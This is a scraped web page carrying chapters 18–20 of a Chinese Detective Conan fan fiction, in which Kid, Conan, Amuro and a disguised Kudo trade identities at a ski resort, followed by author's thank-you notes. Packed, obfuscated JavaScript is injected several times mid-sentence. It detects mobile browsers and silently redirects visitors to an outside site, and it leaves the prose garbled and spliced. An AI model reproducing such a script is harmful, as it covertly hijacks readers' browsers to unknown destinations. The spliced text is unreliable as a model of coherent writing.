l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11790907|125563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,黑羽快斗又听到四季路悠闲自在地在那边说。 黑羽快斗抖了一下。 刚刚这家伙就是用这种语调把正牌安室透带过来的,总觉得这样跟过去还会有诈啊! 而江户川柯南双手插在口袋里,看着怪盗的应激反应后忍不住露出了半月眼,他往那个方向靠了一点,压低声音:“喂喂,没必要吧,四季先生哪有那么吓人啊。” “拜托,他比你还快认出我是谁。” “……那又怎么样?” “是啊,我本来也觉得那没怎么样……然后他就在知道我不是本人的情况下还邀请本人来跟我一起逛展览馆了……”黑羽快斗沉重地说,“名侦探,你确定他真的不是那个组织的人吗?” 问到这个,柯南也有点郁闷。 “暂时没有证据证明他真的不是,但我觉得四季先生跟真的组织成员之间有很大的差别。”并没有见过四季路用言语和气势把咖啡厅一案的凶手吓自首的那一幕,柯南理直气壮地说出了这句话,“就算是演的,我也需要找到他在伪装的证据啊。” 而且虽然不能作为证据……咳,那个什么,灰原一开始看到四季先生的时候不也没有应激吗? 还有就是柯南也觉得基德之前的反应真的很有看点了。 这人都假扮工藤新一多少次了,仗着他不能使劲报复就利用他身份招摇撞骗…!现在撞上安室先生这个铁板,岂不是好事一桩?他还能靠着基德需要伪装,紧跟着这家伙,尽可能阻止基德作案呢。 黑羽快斗斜了他一眼,看得出小侦探在想什么,他实在没好气地说:“他又没有吓过你,你当然觉得他不吓人了啊。” 还真被工藤吓过好几次的柯南一噎:…… 不过话都说到这份上了,富贵险中求,黑羽快斗压根没有在怕的,他就只是单纯地担心青梅被拖进来,又觉得不知底细的四季路很危险而已,害怕还不至于。 只是…… 走着走着,黑羽快斗的目光不由自主地落在了江户川柯南毛茸茸的头顶,随后又看了眼前面那个天空树身材的男人。 好奇怪啊。 黑羽快斗暗自皱眉。 他刚刚为什么有一瞬间觉得,那个四季路跟名侦探微妙地相似?错觉吧。 作者有话要说: *基德:总觉得很像啊这俩人,为什么,气质问题吗其实是他们俩在看你热闹的事情上达成了一致XD*快斗的处境其实根本没那么危险,他只是在觉得社死……*昨天那章忘记说新一生日快乐了TT今天趁着54还没结束说一声!工藤警官和小侦探都生日快乐~这章下评论发四十个红包,这次是瓜分大魔术师给幼驯染粉丝代签的警官签名照(什么东西)感谢在2024-05-0400:46:39~2024-05-0423:43:25期间为我投出霸王票或灌溉营养液的小天使哦~感谢投出火箭炮的小天使:谨言3个;感谢投出手榴弹的小天使:爱吃柠檬的小柯、谨言1个;感谢投出地雷的小天使:70284214、天塞1个;感谢灌溉营养液的小天使:6579172420瓶;天塞、温既安、lzj10瓶;秋雨行云、安夏5瓶;Rambling、炸毛的益生菌、°幕光薄凉、泠溪子诗、夏油杰老婆、UrU、是社恐本恐、清漪、帝姒铭、璐米、洁净星空1瓶;非常感谢大家对我的支持,我会继续努力的! 18. 十八只萩原 安室透虽然跟贝尔摩德来这里做任务了,但就像前面说的那样,他其实对这次的交易内容并不是完全了解的。 他所得到的信息中,最重要的只有那条‘交易内容是一枚宝石戒指’,所以之前他才会怀疑基德的目标和组织重叠了,这次跟过来也正好可以验证一下这个猜想。 要是真被猜对了,那么他不介意直接跟基德接触……在对方的确已经知道了很多的情况下。 只是,在进入展览馆后,安室透从久子小姐口中得知了一件很重要的事情——在今上沙耶口中,那颗以缪斯女神之一的依蕾托命名的宝石并不是最重要的,更被她看重的其实是戒托。 这是谎言吗?如果是的话,为什么要说这种毫无意义的谎话?如果不是,那组织的目的又是否也是戒托而非宝石? 还有就是…… 安室透紧紧拉着兜帽,隔着墨镜看向了那边的玻璃展柜。 因为这次是来寒冷的雪山附近,安室透本来穿的就足够多,对身形的遮掩效果很好,在这个基础上又戴着兜帽、口罩和墨镜,手上也戴着手套,也因此女孩们都没有看出他的真身,只是觉得这人跟安室先生好像有点像噢。 唯有同为侦探的江户川柯南和世良真纯观察力足够敏锐——还敢猜。 所以他们也是最早发现身边居然有两个安室透的人…… 只是跟瞬间了然身边的安室透是怪盗基德、那边跟贝尔摩德来的才是真安室透的柯南不同,世良真纯怀疑两个人都可能是怪盗基德。 万一基德原来是打算假扮安室透,才发现真的安室透也来了,所以他临时做了伪装……也不是没有可能啊。当然,这里也有柯南看起来跟前面那个安室先生关系很好的样子,一直在偷偷讲小话。 在世良真纯的认知里,那个小侦探跟基德的关系应该也没有这么友好吧,她不认为自己都发现两个安室透的事情了,柯南会不知道,所以她还是偏向于认为前一个安室透是本人的。 这也是为什么在小兰和园子专心参观,并听着久子小姐介绍时,世良真纯的目光一直若有若无地在两个‘安室透’身上徘徊。 而一看到世良真纯,安室透就觉得头开始痛了。 说迁怒吧,其实也不至于,他又没到那种会因为人家哥哥是跟自己有仇的FBI就迁怒一个高中女生的份上……但你要说他对世良真纯毫无芥蒂吧,其实也不会,除了赤井秀一的因素以外,还有就是,世良真纯见过苏格兰时期的hiro。 他的幼驯染,出身长野的诸伏景光。 想到那个早已沉眠于旧时光之中的人,那双遮在墨镜后的紫蓝色眼睛有一瞬间的晃神。 诸伏景光已经殉职三年了,安室透早已不会在听到和他有关的事情时控制不住表情了,可现在他的身边出现了一个同样死亡多年的幽灵,光是那张已经七年没有在现实中见到过的脸,就足以让安室透感到恍惚。 他也因此忍不住去想那种更虚无缥缈的事情…比如,如果这个萩原是真的,那、那hiro呢?然而这样的想法刚出现就会被他自己抹掉。 因为三年前分明就是他自己帮诸伏景光收的尸,他再清楚不过自己的幼驯染是死是活了。 “嗳?难道是低血糖吗?”安室透忽然听到和自己并排站的四季路朝自己问道,“不嫌弃的话…嗯,我找找哦……啊有了!” 一只骨节分明的大手攥成拳头,送到了安室透的眼底。 他转头看过去,半长发青年还浅浅叼着刚咬下来的薄手套,侧头同样看向他的时候手套在空气中晃动了两下。 那只拳头忽然在安室透面前打开,因为攥了一小会儿而有点泛白的手心在松开后迅速回粉,但这不重要,重要的是手心躺着的一颗糖。 光看熟悉的彩纸包装,安室透一眼就认出这是自己以前被同期骗着吃过的那种外甜内酸的糖,外面的糖衣融化以后,里面酸到爆炸的流心就会落到舌头上。 “抱歉啦,我现在只找得到这个了。”四季路耸了耸肩,声音因为叼着的手套终于被空着的那只手拿走而变得清晰,不知真假的笑意在那双紫色的眼睛里漾开,“将就一下嘛,透酱。” 安室透:“……那个称呼是怎么回事?” 之前不还是安室先生吗,现在已经进化到小透了?他怎么跟女高中生们一个待遇? “你不觉得很可爱吗?”四季路眨眨眼,无辜地说,然后催促般颠了颠手心的糖,“好啦,怎么称呼都不是很重要,低血糖的话还是快点吃颗先吧。” 安室透沉默地和他对视了一眼,鬼使神差地并没有反驳低血糖的假话,而是从他的手心拿走了那颗糖。 不知道是不是错觉,明明他还戴着手套,但刚刚好像有那么一小会儿,触碰到了四季路手心的温度,那阵暖意再一次提醒他—— 这个人是活着的。 【安室先生未必不清楚,当他开始思考‘如果四季路就是萩原研二’的时候,就代表他真的开始相信这个可能性有成真概率了。】见安室透拿走了糖,工藤也自然而然地收回了视线和手,继续转头看向了玻璃展柜,并在心中有一搭没一搭地对系统说。 【但在有决定性的证据证明这件事之前,无论心里多么希望这是真的,他都会抱有怀疑和否定的态度。】 他知道的,因为这才是安室透、才是这些如履薄冰的卧底的生活。 所以还是需要他主动放出一些能让安室透心中那块石头落地的情报啊。 他们目前所在的是展览馆的最中心,这里的穹顶是玻璃的,白天的光线非常充足,也照得展柜中那枚戒指熠熠生辉,十分美丽。 不过,在场有人已经开始怀疑起那枚戒指的真实性了。 安室透随意剥开糖纸丢进嘴里——四季路要是在这种地方害他,那对方的脑子可能不太好——目光时有时无地从基德后背扫过。 既然今上沙耶准备在今晚展出这枚戒指……那和组织说好的交易呢?她到时候打算拿什么来进行交易?要么展出的是假戒指,要么,今上沙耶胆大包天地准备用假货来骗贝尔摩德。 那可不是什么好骗的女人啊,今上小姐。安室透感慨地想。 要真是后面这个可能性,公安精英都有点佩服那个大小姐了。 居然想欺骗组织和贝尔摩德…还真是初生牛犊不怕虎,想办法捞一下吧。 跟安室透的角度不一样的怪盗其实也发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11790908|125563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现了戒指的问题,但是他可以保证的是,那枚宝石确实是真的‘依蕾托’。 被调包过的,此时并不在展柜之中的,其实是戒托才对,替换的痕迹在他眼中非常明显。 这就很耐人寻味了,对方为什么要把戒托悄无声息地替换掉?说真的,虽然一开始的确是奔着宝石来的,但这么一搞,黑羽快斗也开始对那个戒托感兴趣了。 “对了,久子小姐知道今上小姐在忙什么吗?”黑羽快斗破罐子破摔,用安室透的声音好奇地问。 “欸,我不太清楚。”久子歉意地摆手,也许是因为这里的人都是今上沙耶自己邀请来的,又都有那么大权限了,于是她在努力回忆思考后才又犹犹豫豫地说,“可能是在忙工作的事情吧,我听学姐打电话的时候说了交易什么的……” 交易。 这个敏感词立刻拨动了在场数个侦探和隐藏其中的卧底与警官脑内的那根弦。 “交易?什么交易啊?”柯南装作天真小孩的语气询问,看上去非常好奇宝宝,“难道是要把宝石转卖出去吗?” “噢,那应该不用担心买家,次郎吉伯父一定很乐意把自己没买到的宝石收入囊中。”园子确信地说。 “……哈哈,应该不是吧。”久子小姐尴尬地笑了笑,“今上小姐还准备展览呢,要交易也不会是交易掉依蕾托呀。” 知道内情的安室透眼神漂移了一下,正好这时嘴里那颗糖的糖衣全都化完,他尝到了比记忆中酸无数倍的流心,注意力瞬间被拉了回来,脸差点都皱起来了。 ……靠,四季路给他的到底是什么味道的,怎么比他印象里酸好多倍啊?! 说起来这人也是为什么会把这种糖揣口袋里,背后的目的令人酸出眼泪…… 卧底咬着后槽牙,在心里又给四季路狠狠记了一笔。 他吃过所以认出来是他的事情,对方根本没有提醒他这玩意很酸,难道不是故意的吗! 工藤……工藤还真的不是故意的。 他真的出门前没带什么糖,就这个还是过来前去探望美树小姐时对方给的,据说特别好吃,所以他就给了安室透一颗。 美树小姐也没告诉他那是酸糖,他又怎么可能会记得告诉安室透呢。 “好啦,参观也结束了,不知道几位接下来准备去什么地方玩?”那一头,久子小姐主动转移了话题问道,“如果想不出来的话,我推荐滑雪场噢,现在还早,那里没什么客人,很适合赏景。” 女孩们非常心动,又看向了安室透等人。 说实在的快斗想同意,他毕竟擅长滑雪,去玩玩也可以,然而他记得这个时间自己学校的同学包括青子绝对都在那里…… 他开始飞速思考该用什么借口拒绝,谁知下一秒一只手揽住了他的肩膀。 “我们就不去啦,小园子你们玩得开心哦。”四季侦探笑眯眯地说,“刚好趁着这个时间,我们去周围四处转转,之后还可以给你们提供适合拍照打卡的地点呢。” 他动作自然地又松开黑羽快斗,把小侦探揣进怀里,转头看向了真正的安室透。 “你说是吧?” 被酸得一时间说不出话的安室透:“……” 19. 十九只萩原 即使世良真纯很想继续跟安室透等人同行,以试探他们的身份,但在两个女孩的夹心攻势下,她还是默默选择了跟她们一起去滑雪。 之后也还有机会的。世良真纯自我安慰地想。 久子小姐因为收到的吩咐,理所当然是要跟着园子行动的,所以离开展览馆时,一行人就分成了两拨。 自称看过地图了的工藤走在最前面带路,安室透跟他并排,虽然工藤从头到尾都没说他们这是要去哪里‘转转’,后面的一大一小也并不在意,他们本来就缺这么一个私下谈话的机会。 只不过柯南和快斗都不太确定是否要当着四季侦探的面讨论那些事,他们并不完全信任对方——甚至柯南可以说因为医院里的那段对话,对四季路此人背后的势力怀有一定程度的警惕——可对方又明显是已经发现了怪盗基德的存在,不坦言的话,总感觉在欲盖弥彰。 况且,柯南也很想利用这次机会再试探一下四季路。 对方到底是红方的队友,还是黑方的对手? 安室透也想知道这件事,他落后半步,视线毫不掩饰地锁在了前面那人脑后偏长的发梢上,心里却是在又一次思考着对方的身份问题。 看到那颗糖的时候他本以为是巧合,因为这其实是非常大众的一个糖果品牌,哪怕是有超酸流心的这种也不是很少见,对方能拿出来并不能代表什么。 ……但是四季侦探是甜口吧?那天在咖啡店里点的餐也不是什么重口味的东西,后来风见的调查虽说短时间内不是很深,但他从报告里也看得出来四季路比较喜欢吃甜的糖,或者糖分更高的那些甜品。 原因暂且未知,反正这人不是会在口袋里给自己常备酸糖的类型,那这会儿能这么自然地拿出刚刚那玩意,说不是故意的安室透也不信啊。 公安精英磨了磨后槽牙,感觉连舌根都还残留着那股爆炸性的酸味,他及时停止了这部分的思考。 一旦要认为这不是巧合,安室透就很难不去想这跟萩原研二有没有关系…即使那只是非常常见的糖。 安室透闭了闭眼,努力把往某个方向偏的思维给拉了回来。 他在沉思的时候,走在后面的黑羽快斗脑袋里也没闲着,他一边继续假扮安室透牵着被四季路依依不舍放下的小侦探,一边在脑海里愁眉苦脸。 好消息是刚才在展览馆里的时候正牌安室透没有直接揭穿他,也没有对他做什么难以应付的试探,坏消息是…现在毛利兰几人都不在了,这里的另外三个人又都知道他是基德! 换句话说,要是安室透打算这个时候发难,他也不确定自己在准备不够充分的情况下,是否能从安室透跟不知底细的四季路手中脱身。 黑羽快斗忧心忡忡地搓了搓脸上的易.容面具。 ——不知底细的四季路在最前方忍住了打喷嚏的冲动。 他太清楚他们四个人里到底有几个群了,归根结底他是上帝视角,拿了最全面的剧本,不过工藤不打算这样继续下去。 发现安室透真的出现在这里以后,工藤就把一项原本打算之后找机会做的计划提前了——让安室透确认他并非易容状态,这是一张真脸。 无论他需要做什么,‘成功地扮演萩原研二’都是最大的前提,而想让安室透这样必须时刻保持疑虑的卧底相信一件事,打好基础后最该做的就是处理对方会产生怀疑的原因。 呃,除了萩原研二确实殉职了这点没办法直接改,他的脸自然也是其中之一。 谁让安室透跟贝尔摩德熟识,见识过那么多易容方式,工藤之前也正是仗着这一点去迷惑对方的,现在不需要继续误导,自然就该让安室透发现‘真相’了。 确认他身份的最简单方式就是做个检测,直接看结果是否跟萩原研二匹配,作为警察,哪怕已经殉职,萩原研二的生物信息也是有能够查询到的记录的,以安室透的身份想调出这个并不困难。 对方一周了还没这么做,除开组织的原因外到底还有什么顾虑,工藤就不得而知了,反正这并不影响他的安排嘛。 安室透也许拿不准贝尔摩德和四季路是装陌生还是真陌生,但安室透完全可以通过基德的证言…或者别的方式来确认他没有易容,这也是工藤一路上故意把基德拉上的目的之一。 他怎么会是单纯为了看幼驯染同位体的热闹呢。 他们这时已经不知不觉走到了滑冰场附近,工藤心虚地摸了摸鼻子,然后看了眼不算热闹的冰面,主动亲切地开启了话题:“我记得安室先生也会滑冰吧?我们不如上去玩玩,然后比比谁滑得更好呢?” 安室透嘴角一抽,内心腹诽:你记得什么记得,他滑冰技能是这几年卧底需求才练的,以前又没怎么滑过,就连真正的萩原估计都不知道他会滑冰,更别说这几次见面他哪里提过这件事。 但他也没拆台。 唯有真的不会滑冰而且也不知道安室透会不会滑冰的黑羽快斗浑身一僵:糟糕! 发觉不对了的柯南也僵了一下,他连忙出声打断,试图帮基德圆个场:“可是我觉得滑冰没什么意思耶,我不会嘛四季哥哥,光看你们玩很无聊的!” 工藤本来也就是故意逗逗不会滑冰的幼驯染同位体,见柯南这么解围,他也从善如流地改了口:“那就算啦——说起来,小柯南,我记得报纸上说你是基德克星来着。” 江户川柯南先是想起了上周跟对方的那段对话,一时间搞不清楚这人为什么要第二次提起这件事,难道也是要试探什么吗? 他谨慎地点点头,费劲仰脸看向走在前面的四季路的后脑勺:“是的吧?四季哥哥是有什么想问的吗?” “噢……”工藤微妙地拉长声音,在行进中停了下来,而另外三人同样止步。 半长发青年转过身,满眼好奇地看着还牵着手的一大一小,问话的时候脸上还带着轻巧的笑意,仿佛他真的是在困惑这个:“但我感觉,你跟怪盗基德的关系好像很不错?” “——怪盗先生觉得呢?”工藤又故意看向了柯南旁边的安室透(假),悠悠地问了一句。 他看上去有多无辜,仿佛多么单纯地只是问了个问题,被问的两人心里就有多拔凉拔凉的。 他怎么不演了! 柯南和快斗在这一刻心声同步了。 明明早就发现了还一直没说,亏他们还以为四季路这是准备等他们自己坦白,或者干脆一直假装没发现呢!结果居然挑在这个时候摊牌了啊!? 黑羽快斗并不死心,他脸上四平八稳,用安室透的脸做出了轻微困惑的表情,手指着自己:“……是问我吗?” “四季先生难道觉得我是怪盗基德吗?”他无奈地笑了一下,“怎么会,我们明明是一起过来的吧。” “我们是一起过来的。”工藤先是肯定了这句话,然后不紧不慢地补充,“所以你也在最开始就代替了透酱的身份,混进了这趟旅途中啊。” 他话音落下,在场除了他以外的三个人都被那声‘透酱’呛得不轻,就连在展览馆里已经被这么喊过一次了的安室透,此时也感觉到了一阵莫名的羞耻,反而是早已看开了专心扮演着的工藤对此并无异样感。 “我——”黑羽快斗刚开了个头,就被对面那人的动作惊得止住了声。 比安室透还要高出一小截的四季侦探忽然往他这边凑过来,一只手牢牢按住他的肩膀,一只手抚摸上了他的侧脸,动作很轻柔,却带起了黑羽快斗一身的鸡皮疙瘩。 “再说,想要确认这件事也再简单不过了。”四季路压低声音,语气带笑,“毕竟只要扯一下,基德的□□就会被扯掉。对吧?就是不知道面具下会是大怪盗的真容,还是另一张假脸呢。” 两人的距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11790895|125563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经超过了正常的社交距离,这让黑羽快斗能够清楚地看见那双眼睛里的神色,他因此愣了一下。 他从中找不出一丝恶意,那双微微弯起的紫色眼睛里满是善意不说,还带着点熟人之间互开玩笑的亲昵,根本不像是一双会出现在黑衣组织的代号成员身上的眼睛。 哪怕是黑羽快斗在这一刻,也无法分辨对方到底是在演戏,还是这就是真实的。 不过这不重要,因为他看到四季路悄悄对他飞快眨了一下眼睛,这一瞬间表现出的性格跟之前一路上他从对方身上感受到的游离截然不同。 之前他接触到的四季路只是表面看起来热情开朗,实际并没有那么好深交,跟那几个女孩的相处也都是轻飘飘的,而且对待他跟小侦探时还有些恶劣,只有在这一瞬间,擅长洞悉人心的怪盗基德感受到了对方隐藏起来的真实。 有那么一点俏皮,又好像真的很活泼,感觉就跟那两汪紫色一样…怎么说呢,还有点温柔?原来四季侦探是这种性格吗? 黑羽快斗也不由眨了眨眼。 但是为什么要让他发现这个? 柯南跟安室透受限于角度,并不知道两人的眉眼官司,也并没有看到四季路的表情,其中柯南还好说,他只是脸色有点微妙,安室透就比较难说了。 他的脸好像更黑了一点。 面前这两个人,一个用的是他的脸,另一个用的是他同期挚友的脸——你们靠那么近干嘛!还有扯面具就扯面具,做什么动手动脚!不知道尊重一下他这个还在现场的安室透本人吗? 在他忍不住要上手把两人分开的时候,黑羽快斗动了——虽然在旁人视角里他是安室透。 总之,他把表情变化完美地掩盖在了易.容面具之下,看上去只是因为四季路的话而愣了短暂的几秒,然后伸手也不甘示弱地捏上了对方的脸,并且飞快扯了一下。 这下愣住的轮到安室透了,因为任谁都看得出来,并未被扯下任何东西的四季路并未易容。 那就是他真正的脸。 “这样看来四季先生也不是怪盗基德。”黑羽快斗反客为主地说完,从对方配合松开的力度中轻快挣脱,没让人扯掉自己的面具,“不过开玩笑的话还是不要在这个时候说了吧?让人误会就不好了。” 目的奇妙地达成了的工藤心满意足,他大发慈悲地放过了快斗,即便他本来打算把怪盗的马甲扒掉,然后让这几人光明正大开始在一个群聊天。 腿短的柯南一脸懵,他看看这边又看看那边,刚要说点什么,口袋里的手机就忽然响了起来。 他也只好先接通电话,而后,从里面传出了铃木园子惊喜的声音:“你们快来这边,基德大人真的发了预告函欸——!!” 滑冰场边的这个角落里一时间安静了下来,工藤、柯南和安室透不约而同地默默看向了那边的黑羽快斗。 一直在这里根本没来得及发预告函的怪盗基德:“?” 这就是他当面盗号的报应吗? 作者有话要说: *四个人五个群.jpg*工藤警官跟萩原都不是甜口,吃糖只是为了补充能量,因为扮演角色很费脑子(唏嘘*快斗:现世报来的这么快吗?!*透子:你们俩到底在拿我跟萩原的脸干嘛啊!工藤:跟基德开个密聊感谢在2024-05-0700:13:14~2024-05-0800:18:34期间为我投出霸王票或灌溉营养液的小天使哦~感谢投出手榴弹的小天使:爱吃柠檬的小柯1个;感谢灌溉营养液的小天使:千千时20瓶;泠溪子诗、温既安、非奔的酋10瓶;703984168瓶;祁愿似醉、清漪、秋雨行云5瓶;若杉杉、饭团零食乱步宰、蚀海、水夜星清あ、迷-珊瑚礁梦、予竹、UrU、白洮、谢繁轻、浅竹泠、是社恐本恐1瓶;非常感谢大家对我的支持,我会继续努力的! 20. 二十只萩原 工藤四人赶到电话中报出的那个地址时,已经过去了快二十分钟,但考虑到他们也是新来这座度假村,这个速度已经算得上快了。 被工藤以‘赶时间’为由理直气壮抱过来的江户川柯南迎着其他人好奇的眼神,忍不住动了动腿,尴尬再度涌上心头。 ……他知道一年级小学生被大人抱着走很正常啦,可他知道自己已经十七岁了,这样真的很羞耻! 工藤倒也很体谅年纪更小的自己,毕竟他也是从这个时期过来的,光是看着小侦探一脸安详地死去的表情,他就开始感同身受了。 然而工藤理直气壮地继续抱着小孩,完全没有就这样把人放下去的打算。 哎嘿,虽然感同身受了,但是现在感到羞耻的又不是他本人,他都不在自己世界了,让让他吧。 “所以说,基德的预告函是怎么回事?”那边的金发青年假装没看到这边两人的互动,他非常正经地选择了追问把他们喊过来的那件事,“麻烦请详细说说吧。” “等等,在那之前你们是不是应该介绍一下自己?”那边角落里忽然有人出声,“学姐邀请的只有铃木小姐吧,你们又是哪里冒出来的……” “好了直川,别做跟采访无关的事情。”另一道声音打断并懒洋洋地训了前者一句。 顺着声音看过去,那边站着两个陌生男性,一人满脸雀斑,他就是刚刚说话的那个,而另一人脑后扎着丸子头,个子看上去很高,面容也比前者更为成熟,有着说不出的韵味,自然,他是出言阻止的那个人。 “这两位是……?”金发侦探面不改色,依旧保持着礼貌的微笑,转脸向较近的世良真纯问道。 “据说是来采访今上小姐的记者。”她哦了一声,对刚赶来的几人解释了一下,“结果刚好遇到了怪盗基德的预告函,就留下来抢头条了吧。” 那边的园子和小兰看起来也因为这句话而不是很高兴,尤其是园子直接就开口了:“喂,你说什么呢!他们是我的朋友!” “抱歉啊大小姐,直川有时候说话不过脑子了一点。”那个扎着丸子头的男性叹了口气,只是话音落下后,他也看向了刚来的几个人,“不过我也挺好奇的,铃木小姐的这几位朋友是?” 他把刚刚安室透问世良真纯的问题又丢了回来。 他们现在正待在度假村中心的一栋楼顶层,是今上沙耶的待客室之一,宽敞的房间里除去原本就是一起的工藤一行人,就是那两个陌生的记者了,久子和今上小姐不知道去了哪里。 “安室先生跟四季先生可都是很厉害的侦探!”园子哼了一声,又看了眼被抱着的柯南,勉为其难加了一句,“那个小鬼头也算半个吧,不过报纸上都叫他基德克星的……虽然基德大人才不会被这么简单克到。” 某人的嘴角抽搐了一下。 “那这位呢?”对方饶有兴致地看向还把自己遮得严严实实的某人,“这里是室内,这样戴着不会觉得太闷热了吗?” 江户川柯南的眼神微妙地漂移了一下。 说起来…… “说的也是。”那边的人比他的回忆更快一步动了手,主动摘下了帽子、口罩和墨镜,大大方方地将整张脸暴露在所有人的视线之下,“这样就可以了吧。” 那边的女孩们都露出了惊讶的表情,显然是都认出了这张脸。 “——白马同学?!” 被喊到名字的少年看了过去,嘴角扬着彬彬有礼的弧度,微卷的茶色头发下是一双明亮的红色眼睛,他手心不知道什么时候躺着一枚怀表:“12月14日,星期六,下午3点31分43.05秒,又见面了,几位。” “啊,难道你就是那位高中生侦探,白马探本人?!”带着雀斑的男人也惊讶地看着他,“这么说起来,因为这里有基德啊……” 假扮着白马探的基德本人又有些无语了:所以到底为什么所有人都觉得白马出现在有基德的地方很正常了,白马你反省一下! 是的,在接到电话后他们却又多花了点时间赶来,并不是因为不熟悉路线,而是因为又多花了点时间让安室透跟黑羽快斗把身份互换回来。 本来都以为自己可以把马甲强行掩到底的黑羽快斗最终还是被扒了马甲,两眼放空,坚强地选择了易容成目前还在英国的白马探。 “我并不是跟着基德的踪迹过来的。”茶发侦探微笑着说,语气礼貌却又疏离,“不过我想不管我为什么会来这里,理由也比两位更充分吧?” 不管是用侦探的身份还是用警视总监独子的身份,他都可以光明正大地出现在今上沙耶的贵宾名单上。 “说的也是,毕竟是侦探呢。”那个丸子头的男人似乎观察了他几秒,扬着漫不经心的笑容上前来挨个跟几人握手,“那就拜托几位侦探能抓到怪盗基德,让我们这些写报道的也沾沾光……嗯?” 他在四季侦探面前站定,停顿了片刻。 “这位侦探先生看起来好像认识我?”丸子头不懒洋洋地驼着背时,站直后的个子竟然跟四季侦探差不多,他微微侧过头,悠悠地说,“真意外,要是见过这么出众的侦探先生,我不可能没印象。” “当然不认识了。”半长发青年只是笑了笑,“只不过我认识的一个人跟这位记者先生很像呢,我都要以为你们是兄弟了。” “噢,真可惜,我是独子来着。”丸子头记者也没追着问,他耸了耸肩,又回到了原来的位置上,“既然几位做完自我介绍了,我们这边也应该表示一下没错。” “他叫直川晃人,我的搭档。”对方先是介绍了一下雀斑同伴,又指了指自己,略有些轻佻,“我的话,叫我三杉里就可以了,全名没什么必要介绍,如各位所见,也是一名记者。当然,我们也是今上的大学同学。” 柯南心中吐槽:再加上久子,你们四个人都是同一所大学的前后辈,这是什么另类的同学聚会? 他想着想着,忽然发现自己终于被放到了地上,柯南条件反射地看向了原本抱着自己的四季侦探。 说起来,好像不知道为什么一到这里后四季先生就有点怪怪的?难道真的是认识那位三杉里记者吗? 工藤的回答是,何止认识。 在没人看到的鞋子里,他已经开始脚趾扣地了。 为什么友佳子会在这里!? 这个扎着丸子头的绿眼睛男人,没认错的话,不肯直说的那个全名就叫做三杉里友佳子,因为是一个女性化的名字,对方一直不怎么喜欢别人喊他名字(工藤除外),自我介绍也只会说姓氏。 与此同时,在工藤的那个世界里,三杉里友佳子也是他在7系的部下之一,跟萩原研二正好是同一个部门的前后辈关系。 所以无论是作为他自己,还是作为他扮演的部下萩原研二,在这种本以为可以放飞自我的时候看到了自己更熟悉的人(虽然是同位体),会尴尬也很正常吧? 而且,工藤再次嗅到了不妙的味道,他看待这件事的角度跟柯南不太一样。 ——这里有四个‘陌生人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11790894|125563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’了,完美满足死一个然后三选一的条件了啊! 介绍完毕后,刚好站在桌边的毛利兰也就给刚来的几人解释了一下预告函的事情。 简单来说,就是她们跟久子在滑雪场玩的时候接到了今上小姐的电话,从电话里得知,今上小姐在巡视展览馆时居然捡到了一张雪白的予告状,从署名来看,这很显然正是怪盗基德的预告函。 非常感兴趣的园子就拉着好友们一起过来了,结果正好在待客室遇到了留下来的两位记者,而今上小姐只是跟她们打了个招呼,就带着久子暂时离开了一下,似乎是去讨论什么重要的事情了。 然后他们就都看到了那张被放进防尘袋的所谓预告函。 无论是柯南、快斗、安室透还是工藤,此时此刻都沉默了一秒。 【今晚八点,我将上门拜访,并带走爱情的缪斯女神。 ——怪盗キッド】 ……好直白啊!这个假装成基德的人居然连花时间伪造预告函内容都不肯吗?! “你水平退步得好大。”柯南故意小声嘲笑旁边被盗号了的怪盗。 “你明知道那跟我没关系吧。”黑羽快斗斜了他一眼,也小小声地回答。 “那么,今上小姐又是怎么准备的呢?”安室透皱了皱眉,看向园子问道,“既然这个‘怪盗基德’直接给出了准确的时间,今上小姐是打算展览照常开,还是要让警方来疏散游客?” “今上姐说是要照常开。”园子也无奈地说,“她说基德大人来就让他来吧,反正她最重要的缪斯不会被怪盗偷走……什么的。” 安室透露出了若有所思的表情,工藤也扬起了眉毛。 话说,这个预告函该不会就是今上沙耶自己弄的吧,目的是为了……久子之前提到的那个‘交易’? 工藤猜得到交易跟组织有关,谁让安室透都跟了过来,而且还有贝尔摩德也在,不过这么一看,他也一时间不清楚组织要的是宝石还是戒托了…… 此时尚在酒店里的贝尔摩德接到了一通电话。 “喔?” 女明星慵懒地靠在椅背上:“你说要提前交易时间?亲爱的,给我一个能说服我的理由。” 对面不知道说了什么。 “……你说怪盗基德发了预告函?”她的语气微妙了起来,“恐怕会影响到我们的交易?” “好吧,如你所愿,希望半个小时后我能在约定的地方看到你。” 电话挂断了。 